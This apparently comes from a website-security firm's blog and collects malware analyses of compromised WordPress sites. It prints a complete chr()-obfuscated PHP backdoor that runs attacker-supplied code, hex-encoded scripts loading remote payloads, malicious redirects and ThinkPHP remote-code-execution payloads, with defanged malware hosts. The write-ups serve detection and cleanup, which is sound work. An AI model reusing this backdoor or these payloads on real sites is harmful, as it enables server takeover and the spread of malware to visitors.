array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

Fake relatable domain used to distribute ads

Malicious users try to hide their malicious scripts in many ways these days, some more clever then others, in this case we look at a domain which looks like GoogleADS[.]com but it's actually GoogleADSL[.]com, this was done to make the domain look more legitimate and fool users into thinking the website is just loading Google ads. We found the domain to be used to redirect redirect users via fake jquery.js request.

The domain googleadsl.com appears to be registered by somebody in China and is being used to distribute the malicious ads.

Domain Name:googleadsl.com
Registry Domain ID:1650621483_domain_com-vrsn
Registrar WHOIS Server:whois.paycenter.com.cn
Registrar URL:hxxp://www.xinnet.com
Creation Date:2011-04-13T04:43:52.00Z

Here is the malicious code we found, you can see that it was hex encoded so that its hard to detect and analyze:

< Script language="javascript">
<!--
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
-->
</Script>

Decoded:

window["document"]["write"] ('<SCRIPT src="hxxp://www.googleadsl.com/spcode/jquery.js"></script>');

The above code redirects to 106hk.com:

curl --compressed -sD - -L -e "hxxp://randomsite.com" -A "Chrome 56" "hxxp://www.googleadsl.com/spcode/jquery.js"
HTTP/1.1 302 Redirect
Content-Length: 176
Content-Type: text/html
Location: hxxp://www.106hk.com/huodong/application/core/ajax.js

Here is the code returned after the redirect here:

hxxp://www.106hk.com/huodong/application/core/ajax.js

Content:

var cookieString = document.cookie;
var start = cookieString.indexOf("cookiesleep");
if(start!=-1){}else{
    var expires=new Date();
    expires.setTime(expires.getTime()+6*60*60*1000);
    document.cookie="cookiesleep=test;expires="+expires.toGMTString();
    var u = navigator.userAgent;
    if(u.indexOf('Android') > -1 || u.indexOf('Adr') > -1 ){
     window.location.href="hxxp://www.ncjkedu.com/3G/ads.html";
    }else{
     document.write('<script src="hxxp://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>');
     document.write('<script src="hxxp://www.106hk.com/huodong/application/core/layer/layer.js"></script>');
     document.write('<script src="hxxp://www.106hk.com/huodong/application/core/ad.js"></script>');
    }
}

We found both of these to be porn ads:

hxxp://www.106hk.com/huodong/application/core/ad.js
hxxp://www.ncjkedu.com/3G/ads.html

Users should be vigilant and look for any content trying to load from suspicious domains, in this case almost all files were infected with the malicious code and we found the website making requests for googleadsl.com but this domain can change.

Defunct Malware Can Cause Problems Too

Recently our incident response analyst Harshad Mane worked on a site that redirected users to a third-party malicious site whenever they logged into the WordPress admin interface.

We found the culprit in the functions.php file of the active theme.

if ( get_current_user_id() != '1130') {
   header("Location: hxxps://photoscape[.]ch/Setup.exe");
}

This code checks the Id of the current WordPress user and redirects them (if their Id is not 1130) to download a malicious Setup.exe file.

The functions.php file wasn’t the only infected file. We also removed many backdoors and a script that hid rogue admin users in the User’s list in the WordPress dashboard.

This campaign was active about a year ago. Since then the domain name has expired and the site owners spotted and deleted the rogue admin user with Id 1130. However, the annoying redirect persisted and even caused blacklisting of the site by some antiviruses, so the site owners requested us to clean their site.

Thousands of Redirecting Files

We recently cleaned a site where we found thousands of malicious files with the following content:

<?php
header ( "HTTP/1.1 301 Moved Permanently" ) ;
header ( "Location: hxxp://realprofit[.]su/" ) ;
?>

and

<?php
header ( "HTTP/1.1 301 Moved Permanently" ) ;
header ( "Location: hxxp://profitnow[.]su/" ) ;
?>

All files were located in the site root directory and had names derived from a person's first names: mccarphy.php, viva.php, lotta.php, sang.php, trine.php, liviu.php, taylar.php, golden.php, staphane, stanislav.php, ismail.php, jerusha.php, menda.php, niel.php, samaira.php, kaa.php, franky.php etc.

Most likely these files are used in an email malware campaign. We found an analysis of one malicious .doc file that made requests to several domains, including realprofit[.]su, and then saved the response as an .exe file and executed it.

This particular wave of the attack is known to infect many sites. Profitnow[.]su was created on November 28, 2018, and according to RiskIQ, 700+ sites redirected there. Realprofit[.]su was created on December 6, 2018, and 500+ sites redirected there.

Some other domains used in this malware campaign:

out36.selfsend.ru
to5.topwenches[.]com
trybestsale[.]su
onlinehotprice[.]su
saleallshop[.]su
bestshopmaster[.]su

ThinkPHP 5.x – Remote Code Execution Actively Exploited...

Earlier this year, we noticed an increase in attacks aiming at ThinkPHP. ThinkPHP is a PHP framework that is very popular in Asia. If you keep track of your site’s activity, the following log may look familiar:

POST: /index.php?s=captcha HTTP/1.1
Data: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfig

In December 2018, a working exploit was released for the versions v5.0.23 and v5.1.31. Then, ThinkPHP team released a new version partially fixing the problem. Here is a snippet of the patch:

$method = strtoupper($_POST[Config::get('var_method')]); 
- $this->{$this->method}($_POST); 
+ if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { 
+ $this->method = $method; 
+ $this->{$this->method}($_POST); 
+ } 

Remote Code Execution on ThinkPHP

Basically, they filtered the parameter method to only accept legit values since later on the code function filterValue() passes the filter parameter directly to the PHP function call_user_func() leading to a remote code execution (RCE). Unfortunately, after reversing the patch, attackers also found that reaching the filterValue() function is still possible with an even simpler payload:

data: a=system&b=id&_method=filter  (some important data and more payloads were skipped here)

Affected Versions of ThinkPHP

Versions 5.1.x/ 5.2.x are still affected and since there's no strict validation of user input, bots were programmed to use a new variety of payloads to evade WAFs and previous fixes.

Attackers are exploiting this vulnerability to upload cryptominers. The following is the most recent domains hosting malicious binaries:

hxxp:// love[.]thotiana.live/bins/x86[.]bot
hxxp:// fid[.]hognoob[.]se/download[.]exe

Conclusion

As always, we recommend keeping your software up to date and use a WAF as a second layer of protection since sometimes developers fall short of solving security issues.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Side Effects of the Site_url Hack

We\'ve been cleaning many sites infected by the so-called site_url hack–the result of the WP GDPR Compliance plugin vulnerability. The sites are broken because their static resource links point to some third party site. However, this is not the only issue.

If a user starts to make changes in their WordPress settings or some plugin regularly updates them, chances are the changes will be affected by the new value of the site_url option. In such cases, you’ll have to search the whole WordPress database (or at least the wp_options table) and files on the server for the rogue site_url value in order to revert the changes.****

For example, this is what your site’s .htaccess file may end up looking like after this hack:

# MediaAce Rules - Hotlink protection
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} !/wp-content/plugins/media-ace/assets/hotlink-placeholder.png$
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?wtools.io/code/raw/so? [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?facebook\.com [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?google\.*$/.* [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?pinterest\.*$/.* [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ hxxp://wtools[.]io/code/raw/so?/wp-content/plugins/media-ace/assets/hotlink-placeholder.png [NC,R,L]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /code/raw/so/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /code/raw/so/index.php [L]
</IfModule>

# END WordPress

As you can guess, in this case, hackers changed the site_url to hxxp://wtools[.]io/code/raw/so?, so the media-ace plugin and main WordPress rewrite rules were corrupted.

Fake Wp.org/jquery.js

There is a long-lasting malware campaign (dating back to at least 2016) that injects fake jQuery scripts:

<script type="text/javascript" src="hxxps://www.XX[X]wp[.]org/jquery.js"></script>

Where XX[X] are 2 or 3 random characters.

This Twitter thread mentions some of them:


We’ve compiled a longer list of the fake jQuery URLs employed by this campaign, along with numbers of websites PublicWWW currently finds them on:

  • www.9iwp[.]org/jquery.js - 6473
  • www.34wp[.]org/jquery.js - 2830
  • www.3vwp[.]org/jquery.js - 2552
  • www.7owp[.]org/jquery.js - 1248
  • www.57wp[.]org/jquery.js - 168
  • www.29wp[.]org/jquery.js - 115
  • www.j3wp[.]org/jquery.js - 85
  • www.i1wp[.]org/jquery.js - 51
  • www.i7wp[.]org/jquery.js - 17
  • www.x5wp[.]org/jquery.js - 12
  • www.i2wp[.]org/jquery.js - 8
  • www.35wp[.]org/jquery.js - 6
  • www.75wp[.]org/jquery.js - 4
  • www.10wp[.]org/jquery.js - 3
  • www.I0wp[.]org/jquery.js - 3
  • www.I3wp[.]org/jquery.js - 3
  • www.61wp[.]org/jquery.js - 3